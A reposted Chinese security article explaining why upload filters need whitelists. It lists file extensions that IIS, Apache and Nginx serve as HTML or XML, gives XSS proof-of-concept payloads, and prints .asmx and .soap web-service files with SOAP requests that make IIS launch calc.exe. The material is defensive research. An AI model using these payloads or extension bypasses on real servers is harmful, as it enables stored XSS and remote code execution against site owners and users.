安全路透社
当前位置:安全路透社 > 网络转载 > 正文

血淋林的例子告诉你,为什么防“上传漏洞”要用白名单

1.png

一般来说,当你在写文件上传功能的代码时,你都需要使用”白名单”或“黑名单”来检查并限制用户上传文件的扩展名。

当我阅读了@Idionmarcil的【这篇文章】之后,我决定要深入了解一下当前热门的Web服务器是如何处理各种类型的扩展名的。

首先,我需要知道Web服务器在处理不同文件类型时所返回的content-type内容。一般来说,开发者只会在黑名单中添加某些“臭名昭著”的扩展名。但是在这篇文章中,我要分析的对象将是一些使用没那么广泛的文件类型。

在本文中,用于演示的PoC Payload如下:

1.      基础XSS Payload:

<script>alert(1337)</script>

2.      基于XML的XSS Payload:

<a:scriptxmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>

下面,我将给大家介绍我的研究成果。

ISS Web服务器

默认配置下,ISS针对文件类型所返回的content-type为text/html,具体请看下面的列表:

扩展名的基本向量:

.cer
.hxt
.htm

2.png

因此,我们就可以将基础XSS向量复制到上传文件中,当我们打开文档之后,浏览器中便会弹出一个对话框。对于下面的列表中所包含的扩展名,IIS服务器所响应的content-type将允许我们通过基于XML的攻击向量来执行XSS攻击:

.dtd
.mno
.vml
.xsl
.xht
.svg
.xml
.xsd
.xsf
.svgz
.xslt
.wsdl
.xhtml

3.png

默认配置下,IIS还会支持SSI,但是处于安全方面的考虑,Payload的执行可能会被禁止。

针对SSI的扩展:

.stm
.shtm
.shtml


4.png

如果你想了解更多关于SSI的详细信息,请参考@ldionmarcil的【这篇文章】。

除此之外,这里还有另外两个有趣的扩展名(.asmx和 .soap)同样能够允许我们实现任意代码执行,而这两个扩展名是Yury Aleinov发现的,感兴趣的同学可以访问@YuryAleinov的Twitter以获取更多信息。

asmx后缀

1.      如果你可以上传后缀名为.asmx的文件,那你也许就可以通过它来实现任意代码执行。比如说,我们来看看下面这个文件的内容:

<%@ WebService Language="C#"Class="MyClass" %>
using System.Web.Services;
using System;
using System.Diagnostics;
 
 
 [WebService(Namespace="")]
 public class MyClass : WebService 
 {
    [WebMethod]
    public string Pwn_Function()
    {
        Process.Start("calc.exe");
        return "PWNED";
    }
 }

5.png

2.      接下来,我们向上传的文档发送POST请求:

POST /1.asmx HTTP/1.1
Host: localhost
Content-Type: application/soap+xml;charset=utf-8
Content-Length: 287
   
<?xml version="1.0"encoding="utf-8"?>
<soap12:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
 <soap12:Body>
   <Pwn_Function/>
 </soap12:Body>
</soap12:Envelope>

6.png

3.      大家可以看到,结果就是我们成功让IIS运行了“calc.exe”。

soap后缀

使用后缀.soap上传的文件内容如下:

<%@ WebService Language="C#"Class="MyClass" %>
using System.Web.Services;
using System;
 
public class MyClass : MarshalByRefObject
{
   public MyClass() { 
            System.Diagnostics.Process.Start("calc.exe");
         }                      
}

SOAP请求:

POST /1.soap HTTP/1.1
Host: localhost
Content-Length: 283
Content-Type: text/xml; charset=utf-8
SOAPAction: "/"
 
<?xml version="1.0"encoding="utf-8"?>
<soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
   <MyFunction />
 </soap:Body>
</soap:Envelope>

7.png

Apache(httpd或Tomcat)

基础向量后缀:

.shtml

.html.de或.html.xxx (xxx 为任意字符)*

基于XML向量的后缀:

.rdf
.xht
.xml
.xsl
.svg
.xhtml
.svgz

如果“.html.”后面跟有任意字符的话,Apache的响应信息中content-type为text/html。

8.png

需要注意的是,在处理很多不同类型的文件后缀时,Apache所返回的响应信息中可能会不包含Content-type头,而这将有可能导致XSS攻击的发生。因为浏览器在处理这种页面时,不同浏览器的处理方法是不同的。比如说,Firefox对后缀为.xbl和.xml的文件所采用的处理方法非常类似,而这类响应中是不包含Content-type头的,所以我们就可以利用基于XML的攻击向量来对目标浏览器发动XSS攻击了。

Nginx

基础向量后缀:

.htm

基于XML的向量后缀:

.svg
.xml
.svgz

总结

本文对当前热门Web服务器处理各种文件后缀的方法进行了简单分析,如果你还想了解更多关于“利用文件后缀和Content-Type来发动XSS攻击”的详细内容,请参考这篇文章【传送门】。

* 参考来源:mike-n1,FB小编Alpha_h4ck编译

未经允许不得转载:安全路透社 » 血淋林的例子告诉你,为什么防“上传漏洞”要用白名单

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册